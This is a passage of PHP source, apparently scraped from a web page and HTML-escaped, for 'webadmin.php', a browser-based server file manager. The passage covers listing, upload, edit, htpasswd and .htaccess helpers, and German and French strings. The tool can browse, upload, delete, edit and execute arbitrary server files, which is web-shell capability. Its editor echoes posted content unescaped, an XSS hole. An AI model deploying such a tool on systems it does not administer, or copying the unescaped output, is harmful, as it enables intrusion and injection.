/&gt;&lt;br /&gt;    $e = addslashes($delim);&lt;br /&gt;    $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;&lt;br /&gt;&lt;br /&gt;    while (ereg($regex, $path)) {&lt;br /&gt;        $path = ereg_replace($regex, $delim, $path);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return $path;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function human_filesize ($filesize) {&lt;br /&gt;&lt;br /&gt;    $suffices = 'kMGTPE';&lt;br /&gt;&lt;br /&gt;    $n = 0;&lt;br /&gt;    while ($filesize &gt;= 1000) {&lt;br /&gt;        $filesize /= 1024;&lt;br /&gt;        $n++;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $filesize = round($filesize, 3 - strpos($filesize, '.'));&lt;br /&gt;&lt;br /&gt;    if (strpos($filesize, '.') !== false) {&lt;br /&gt;        while (in_array(substr($filesize, -1, 1), array('0', '.'))) {&lt;br /&gt;            $filesize = substr($filesize, 0, strlen($filesize) - 1);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));&lt;br /&gt;&lt;br /&gt;    return $filesize . " {$suffix}B";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function strip (&amp;$str) {&lt;br /&gt;    $str = stripslashes($str);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* ------------------------------------------------------------------------- */&lt;br /&gt;&lt;br /&gt;function listing_page ($message = null) {&lt;br /&gt;    global $self, $directory, $sort, $reverse;&lt;br /&gt;&lt;br /&gt;    html_header();&lt;br /&gt;&lt;br /&gt;    $list = getlist($directory);&lt;br /&gt;&lt;br /&gt;    if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';&lt;br /&gt;    if (array_key_exists('reverse', $_GET) &amp;&amp; $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;&lt;br /&gt;&lt;br /&gt;    $list = sortlist($list, $sort, $reverse);&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;h1 style="margin-bottom: 0"&gt;webadmin.php&amp;lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form enctype="multipart/form-data" action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table id="main"&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    directory_choice();&lt;br /&gt;&lt;br /&gt;    if (!empty($message)) {&lt;br /&gt;        spacer();&lt;br /&gt;        echo $message;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (@is_writable($directory)) {&lt;br /&gt;        upload_box();&lt;br /&gt;        create_box();&lt;br /&gt;    } else {&lt;br /&gt;        spacer();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if ($list) {&lt;br /&gt;        listing($list);&lt;br /&gt;    } else {&lt;br /&gt;        echo error('not_readable', $directory);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    html_footer();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function listing ($list) {&lt;br /&gt;    global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr class="listing"&gt;&lt;br /&gt;    &amp;lt;th style="text-align: center; vertical-align: middle"&gt;&amp;lt;img src="' . $self . '?image=smiley" alt="smiley" /&gt;&amp;lt;/th&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    column_title('filename', $sort, $reverse);&lt;br /&gt;    column_title('size', $sort, $reverse);&lt;br /&gt;&lt;br /&gt;    if (!$win) {&lt;br /&gt;        column_title('permission', $sort, $reverse);&lt;br /&gt;        column_title('owner', $sort, $reverse);&lt;br /&gt;        column_title('group', $sort, $reverse);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '    &amp;lt;th class="functions"&gt;' . word('functions') . '&amp;lt;/th&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    for ($i = 0; $i &amp;lt; sizeof($list); $i++) {&lt;br /&gt;        $file = $list[$i];&lt;br /&gt;&lt;br /&gt;        $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';&lt;br /&gt;        $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';&lt;br /&gt;        $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;tr class="listing"&gt;&lt;br /&gt;    &amp;lt;td class="checkbox"&gt;&amp;lt;input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;td class="filename" title="' . html($timestamps) . '"&gt;';&lt;br /&gt;&lt;br /&gt;        if ($file['is_link']) {&lt;br /&gt;&lt;br /&gt;            echo '&amp;lt;img src="' . $self . '?image=link" alt="link" /&gt; ';&lt;br /&gt;            echo html($file['filename']) . ' &amp;rarr; ';&lt;br /&gt;&lt;br /&gt;            $real_file = relative2absolute($file['target'], $directory);&lt;br /&gt;&lt;br /&gt;            if (@is_readable($real_file)) {&lt;br /&gt;                if (@is_dir($real_file)) {&lt;br /&gt;                    echo '[ &amp;lt;a href="' . $self . '?dir=' . urlencode($real_file) . '"&gt;' . html($file['target']) . '&amp;lt;/a&gt; ]';&lt;br /&gt;                } else {&lt;br /&gt;                    echo '&amp;lt;a href="' . $self . '?action=view&amp;amp;file=' . urlencode($real_file) . '"&gt;' . html($file['target']) . '&amp;lt;/a&gt;';&lt;br /&gt;                }&lt;br /&gt;            } else {&lt;br /&gt;                echo html($file['target']);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        } elseif ($file['is_dir']) {&lt;br /&gt;&lt;br /&gt;            echo '&amp;lt;img src="' . $self . '?image=folder" alt="folder" /&gt; [ ';&lt;br /&gt;            if ($win || $file['is_executable']) {&lt;br /&gt;                echo '&amp;lt;a href="' . $self . '?dir=' . urlencode($file['path']) . '"&gt;' . html($file['filename']) . '&amp;lt;/a&gt;';&lt;br /&gt;            } else {&lt;br /&gt;                echo html($file['filename']);&lt;br /&gt;            }&lt;br /&gt;            echo ' ]';&lt;br /&gt;&lt;br /&gt;        } else {&lt;br /&gt;&lt;br /&gt;            if (substr($file['filename'], 0, 1) == '.') {&lt;br /&gt;                echo '&amp;lt;img src="' . $self . '?image=hidden_file" alt="hidden file" /&gt; ';&lt;br /&gt;            } else {&lt;br /&gt;                echo '&amp;lt;img src="' . $self . '?image=file" alt="file" /&gt; ';&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            if ($file['is_file'] &amp;&amp; $file['is_readable']) {&lt;br /&gt;               echo '&amp;lt;a href="' . $self . '?action=view&amp;amp;file=' . urlencode($file['path']) . '"&gt;' . html($file['filename']) . '&amp;lt;/a&gt;';&lt;br /&gt;            } else {&lt;br /&gt;                echo html($file['filename']);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        if ($file['size'] &gt;= 1000) {&lt;br /&gt;            $human = ' title="' . human_filesize($file['size']) . '"';&lt;br /&gt;        } else {&lt;br /&gt;            $human = '';&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo "&amp;lt;/td&gt;\n";&lt;br /&gt;&lt;br /&gt;        echo "\t&amp;lt;td class=\"size\"$human&gt;{$file['size']} B&amp;lt;/td&gt;\n";&lt;br /&gt;&lt;br /&gt;        if (!$win) {&lt;br /&gt;&lt;br /&gt;            echo "\t&amp;lt;td class=\"permission\" title=\"" . decoct($file['permission']) . '"&gt;';&lt;br /&gt;&lt;br /&gt;            $l = !$file['is_link'] &amp;&amp; (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());&lt;br /&gt;            if ($l) echo '&amp;lt;a href="' . $self . '?action=permission&amp;amp;file=' . urlencode($file['path']) . '&amp;amp;dir=' . urlencode($directory) . '"&gt;';&lt;br /&gt;            echo html(permission_octal2string($file['permission']));&lt;br /&gt;            if ($l) echo '&amp;lt;/a&gt;';&lt;br /&gt;&lt;br /&gt;            echo "&amp;lt;/td&gt;\n";&lt;br /&gt;&lt;br /&gt;            if (array_key_exists('owner_name', $file)) {&lt;br /&gt;                echo "\t&amp;lt;td class=\"owner\" title=\"uid: {$file['owner']}\"&gt;{$file['owner_name']}&amp;lt;/td&gt;\n";&lt;br /&gt;            } else {&lt;br /&gt;                echo "\t&amp;lt;td class=\"owner\"&gt;{$file['owner']}&amp;lt;/td&gt;\n";&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            if (array_key_exists('group_name', $file)) {&lt;br /&gt;                echo "\t&amp;lt;td class=\"group\" title=\"gid: {$file['group']}\"&gt;{$file['group_name']}&amp;lt;/td&gt;\n";&lt;br /&gt;            } else {&lt;br /&gt;                echo "\t&amp;lt;td class=\"group\"&gt;{$file['group']}&amp;lt;/td&gt;\n";&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo '    &amp;lt;td class="functions"&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        $actions = array();&lt;br /&gt;        if (function_exists('symlink')) {&lt;br /&gt;            $actions[] = 'create_symlink';&lt;br /&gt;        }&lt;br /&gt;        if (@is_writable(dirname($file['path']))) {&lt;br /&gt;            $actions[] = 'delete';&lt;br /&gt;            $actions[] = 'rename';&lt;br /&gt;            $actions[] = 'move';&lt;br /&gt;        }&lt;br /&gt;        if ($file['is_file'] &amp;&amp; $file['is_readable']) {&lt;br /&gt;            $actions[] = 'copy';&lt;br /&gt;            $actions[] = 'download';&lt;br /&gt;            if ($file['is_writable']) $actions[] = 'edit';&lt;br /&gt;        }&lt;br /&gt;        if (!$win &amp;&amp; function_exists('exec') &amp;&amp; $file['is_file'] &amp;&amp; $file['is_executable'] &amp;&amp; file_exists('/bin/sh')) {&lt;br /&gt;            $actions[] = 'execute';&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        if (sizeof($actions) &gt; 0) {&lt;br /&gt;&lt;br /&gt;            echo '        &amp;lt;select class="small" name="action' . $i . '" size="1"&gt;&lt;br /&gt;        &amp;lt;option value=""&gt;' . str_repeat('&amp;nbsp;', 30) . '&amp;lt;/option&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;            foreach ($actions as $action) {&lt;br /&gt;                echo "\t\t&amp;lt;option value=\"$action\"&gt;" . word($action) . "&amp;lt;/option&gt;\n";&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            echo '        &amp;lt;/select&gt;&lt;br /&gt;        &amp;lt;input class="small" type="submit" name="submit' . $i . '" value=" &amp;gt; " onfocus="activate(\'other\')" /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo '    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr class="listing_footer"&gt;&lt;br /&gt;    &amp;lt;td style="text-align: right; vertical-align: top"&gt;&amp;lt;img src="' . $self . '?image=arrow" alt="&amp;gt;" /&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;td colspan="' . ($cols - 1) . '"&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="num" value="' . sizeof($list) . '" /&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="focus" value="" /&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="olddir" value="' . html($directory) . '" /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    $actions = array();&lt;br /&gt;    if (@is_writable(dirname($file['path']))) {&lt;br /&gt;        $actions[] = 'delete';&lt;br /&gt;        $actions[] = 'move';&lt;br /&gt;    }&lt;br /&gt;    $actions[] = 'copy';&lt;br /&gt;&lt;br /&gt;    echo '        &amp;lt;select class="small" name="action_all" size="1"&gt;&lt;br /&gt;        &amp;lt;option value=""&gt;' . str_repeat('&amp;nbsp;', 30) . '&amp;lt;/option&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    foreach ($actions as $action) {&lt;br /&gt;        echo "\t\t&amp;lt;option value=\"$action\"&gt;" . word($action) . "&amp;lt;/option&gt;\n";&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '        &amp;lt;/select&gt;&lt;br /&gt;        &amp;lt;input class="small" type="submit" name="submit_all" value=" &amp;gt; " onfocus="activate(\'other\')" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function column_title ($column, $sort, $reverse) {&lt;br /&gt;    global $self, $directory;&lt;br /&gt;&lt;br /&gt;    $d = 'dir=' . urlencode($directory) . '&amp;amp;';&lt;br /&gt;&lt;br /&gt;    if ($sort == $column) {&lt;br /&gt;        if (!$reverse) {&lt;br /&gt;            $r = '&amp;amp;reverse=true';&lt;br /&gt;            $arr = ' &amp;and;';&lt;br /&gt;        } else {&lt;br /&gt;            $arr = ' &amp;or;';&lt;br /&gt;        }&lt;br /&gt;    } else {&lt;br /&gt;        $r = '';&lt;br /&gt;    }&lt;br /&gt;    echo "\t&amp;lt;th class=\"$column\"&gt;&amp;lt;a href=\"$self?{$d}sort=$column$r\"&gt;" . word($column) . "&amp;lt;/a&gt;$arr&amp;lt;/th&gt;\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function directory_choice () {&lt;br /&gt;    global $directory, $homedir, $cols, $self;&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '" id="directory"&gt;&lt;br /&gt;        &amp;lt;a href="' . $self . '?dir=' . urlencode($homedir) . '"&gt;' . word('directory') . '&amp;lt;/a&gt;:&lt;br /&gt;        &amp;lt;input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" /&gt;&lt;br /&gt;        &amp;lt;input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function upload_box () {&lt;br /&gt;    global $cols;&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '" id="upload"&gt;&lt;br /&gt;        ' . word('file') . ':&lt;br /&gt;        &amp;lt;input type="file" name="upload" onfocus="activate(\'other\')" /&gt;&lt;br /&gt;        &amp;lt;input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function create_box () {&lt;br /&gt;    global $cols;&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '" id="create"&gt;&lt;br /&gt;        &amp;lt;select name="create_type" size="1" onfocus="activate(\'create\')"&gt;&lt;br /&gt;        &amp;lt;option value="file"&gt;' . word('file') . '&amp;lt;/option&gt;&lt;br /&gt;        &amp;lt;option value="directory"&gt;' . word('directory') . '&amp;lt;/option&gt;&lt;br /&gt;        &amp;lt;/select&gt;&lt;br /&gt;        &amp;lt;input type="text" name="create_name" onfocus="activate(\'create\')" /&gt;&lt;br /&gt;        &amp;lt;input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function edit ($file) {&lt;br /&gt;    global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;&lt;br /&gt;&lt;br /&gt;    html_header();&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;h2 style="margin-bottom: 3pt"&gt;' . html($file) . '&amp;lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off"&gt;';&lt;br /&gt;&lt;br /&gt;    if (array_key_exists('content', $_POST)) {&lt;br /&gt;        echo $_POST['content'];&lt;br /&gt;    } else {&lt;br /&gt;        $f = fopen($file, 'r');&lt;br /&gt;        while (!feof($f)) {&lt;br /&gt;            echo html(fread($f, 8192));&lt;br /&gt;        }&lt;br /&gt;        fclose($f);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['user'])) {&lt;br /&gt;        echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);&lt;br /&gt;    }&lt;br /&gt;    if (!empty($_POST['basic_auth'])) {&lt;br /&gt;        if ($win) {&lt;br /&gt;            $authfile = str_replace('\\', '/', $directory) . $htpasswd;&lt;br /&gt;        } else {&lt;br /&gt;            $authfile = $directory . $htpasswd;&lt;br /&gt;        }&lt;br /&gt;        echo "\nAuthType Basic\nAuthName &amp;quot;Restricted Directory&amp;quot;\n";&lt;br /&gt;        echo 'AuthUserFile &amp;quot;' . html($authfile) . "&amp;quot;\n";&lt;br /&gt;        echo 'Require valid-user';&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    if ($apache &amp;&amp; basename($file) == $htpasswd) {&lt;br /&gt;        echo '&lt;br /&gt;    ' . word('user') . ': &amp;lt;input type="text" name="user" /&gt;&lt;br /&gt;    ' . word('password') . ': &amp;lt;input type="password" name="password" /&gt;&lt;br /&gt;    &amp;lt;input type="submit" value="' . word('add') . '" /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if ($apache &amp;&amp; basename($file) == $htaccess) {&lt;br /&gt;        echo '&lt;br /&gt;    &amp;lt;input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    echo '&lt;br /&gt;    &amp;lt;input type="hidden" name="action" value="edit" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="reset" value="' . word('reset') . '" id="red_button" /&gt;&lt;br /&gt;    &amp;lt;input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;    html_footer();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function spacer () {&lt;br /&gt;    global $cols;&lt;br /&gt;&lt;br /&gt;    echo '&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '" style="height: 1em"&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function textfieldsize ($content) {&lt;br /&gt;&lt;br /&gt;    $size = strlen($content) + 5;&lt;br /&gt;    if ($size &amp;lt; 30) $size = 30;&lt;br /&gt;&lt;br /&gt;    return $size;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function request_dump () {&lt;br /&gt;&lt;br /&gt;    foreach ($_REQUEST as $key =&gt; $value) {&lt;br /&gt;        echo "\t&amp;lt;input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" /&gt;\n";&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* ------------------------------------------------------------------------- */&lt;br /&gt;&lt;br /&gt;function html ($string) {&lt;br /&gt;    global $site_charset;&lt;br /&gt;    return htmlentities($string, ENT_COMPAT, $site_charset);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function word ($word) {&lt;br /&gt;    global $words, $word_charset;&lt;br /&gt;    return htmlentities($words[$word], ENT_COMPAT, $word_charset);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function phrase ($phrase, $arguments) {&lt;br /&gt;    global $words;&lt;br /&gt;    static $search;&lt;br /&gt;&lt;br /&gt;    if (!is_array($search)) for ($i = 1; $i &amp;lt;= 8; $i++) $search[] = "%$i";&lt;br /&gt;&lt;br /&gt;    for ($i = 0; $i &amp;lt; sizeof($arguments); $i++) {&lt;br /&gt;        $arguments[$i] = nl2br(html($arguments[$i]));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $replace = array('{' =&gt; '&amp;lt;pre&gt;', '}' =&gt;'&amp;lt;/pre&gt;', '[' =&gt; '&amp;lt;b&gt;', ']' =&gt; '&amp;lt;/b&gt;');&lt;br /&gt;&lt;br /&gt;    return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getwords ($lang) {&lt;br /&gt;    global $word_charset, $date_format;&lt;br /&gt;&lt;br /&gt;    switch ($lang) {&lt;br /&gt;    case 'de':&lt;br /&gt;&lt;br /&gt;        $date_format = 'd.m.y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Verzeichnis',&lt;br /&gt;'file' =&gt; 'Datei',&lt;br /&gt;'filename' =&gt; 'Dateiname',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Gr&amp;#246;&amp;#223;e',&lt;br /&gt;'permission' =&gt; 'Rechte',&lt;br /&gt;'owner' =&gt; 'Eigner',&lt;br /&gt;'group' =&gt; 'Gruppe',&lt;br /&gt;'other' =&gt; 'Andere',&lt;br /&gt;'functions' =&gt; 'Funktionen',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'lesen',&lt;br /&gt;'write' =&gt; 'schreiben',&lt;br /&gt;'execute' =&gt; 'ausf&amp;#252;hren',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'Symlink erstellen',&lt;br /&gt;'delete' =&gt; 'l&amp;#246;schen',&lt;br /&gt;'rename' =&gt; 'umbenennen',&lt;br /&gt;'move' =&gt; 'verschieben',&lt;br /&gt;'copy' =&gt; 'kopieren',&lt;br /&gt;'edit' =&gt; 'editieren',&lt;br /&gt;'download' =&gt; 'herunterladen',&lt;br /&gt;'upload' =&gt; 'hochladen',&lt;br /&gt;'create' =&gt; 'erstellen',&lt;br /&gt;'change' =&gt; 'wechseln',&lt;br /&gt;'save' =&gt; 'speichern',&lt;br /&gt;'set' =&gt; 'setze',&lt;br /&gt;'reset' =&gt; 'zur&amp;#252;cksetzen',&lt;br /&gt;'relative' =&gt; 'Pfad zum Ziel relativ',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Ja',&lt;br /&gt;'no' =&gt; 'Nein',&lt;br /&gt;'back' =&gt; 'zur&amp;#252;ck',&lt;br /&gt;'destination' =&gt; 'Ziel',&lt;br /&gt;'symlink' =&gt; 'Symbolischer Link',&lt;br /&gt;'no_output' =&gt; 'keine Ausgabe',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Benutzername',&lt;br /&gt;'password' =&gt; 'Kennwort',&lt;br /&gt;'add' =&gt; 'hinzuf&amp;#252;gen',&lt;br /&gt;'add_basic_auth' =&gt; 'HTTP-Basic-Auth hinzuf&amp;#252;gen',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" wurde hochgeladen.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" konnte nicht hochgeladen werden.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" existiert bereits.',&lt;br /&gt;'created' =&gt; '"[%1]" wurde erstellt.',&lt;br /&gt;'not_created' =&gt; '"[%1]" konnte nicht erstellt werden.',&lt;br /&gt;'really_delete' =&gt; 'Sollen folgende Dateien wirklich gel&amp;#246;scht werden?',&lt;br /&gt;'deleted' =&gt; "Folgende Dateien wurden gel&amp;#246;scht:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Folgende Dateien konnten nicht gel&amp;#246;scht werden:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Benenne Datei um:',&lt;br /&gt;'renamed' =&gt; '"[%1]" wurde in "[%2]" umbenannt.',&lt;br /&gt;'not_renamed' =&gt; '"[%1] konnte nicht in "[%2]" umbenannt werden.',&lt;br /&gt;'move_files' =&gt; 'Verschieben folgende Dateien:',&lt;br /&gt;'moved' =&gt; "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Kopiere folgende Dateien:',&lt;br /&gt;'copied' =&gt; "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" kann nicht editiert werden.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" wurde erfolgreich ausgef&amp;#252;hrt:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" konnte nicht erfolgreich ausgef&amp;#252;hrt werden:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" wurde gespeichert.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" konnte nicht gespeichert werden.',&lt;br /&gt;'symlinked' =&gt; 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',&lt;br /&gt;'not_symlinked' =&gt; 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',&lt;br /&gt;'permission_for' =&gt; 'Rechte f&amp;#252;r "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Die Rechte f&amp;#252;r "[%1]" wurden auf [%2] gesetzt.',&lt;br /&gt;'permission_not_set' =&gt; 'Die Rechte f&amp;#252;r "[%1]" konnten nicht auf [%2] gesetzt werden.',&lt;br /&gt;'not_readable' =&gt; '"[%1]" kann nicht gelesen werden.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'fr':&lt;br /&gt;&lt;br /&gt;        $date_format = 'd.m.y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'R&amp;#233;pertoire',&lt;br /&gt;'file' =&gt; 'Fichier',&lt;br /&gt;'filename' =&gt; 'Nom fichier',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Taille',&lt;br /&gt;'permission' =&gt; 'Droits',&lt;br /&gt;'owner' =&gt; 'Propri&amp;#233;taire',&lt;br /&gt;'group' =&gt; 'Groupe',&lt;br /&gt;'other' =&gt; 'Autres',&lt;br /&gt;'functions' =&gt; 'Fonctions',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'Lire',&lt;br /&gt;'write' =&gt; 'Ecrire',&lt;br /&gt;'execute' =&gt; 'Ex&amp;#233;cuter',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'Cr&amp;#233;er lien symbolique',&lt;br /&gt;'delete' =&gt; 'Effacer',&lt;br /&gt;'rename' =&gt; 'Renommer',&lt;br /&gt;'move' =&gt; 'D&amp;#233;placer',&lt;br /&gt;'copy' =&gt; 'Copier',&lt;br /&gt;'edit' =&gt; 'Ouvrir',&lt;br /&gt;'download' =&gt; 'T&amp;#233;l&amp;#233;charger sur PC',&lt;br /&gt;'upload' =&gt; 'T&amp;#233;l&amp;#233;charger sur serveur',&lt;br /&gt;'create' =&gt; 'Cr&amp;#233;er',&lt;br /&gt;'change' =&gt; 'Changer',&lt;br /&gt;'save' =&gt; 'Sauvegarder',&lt;br /&gt;'set' =&gt; 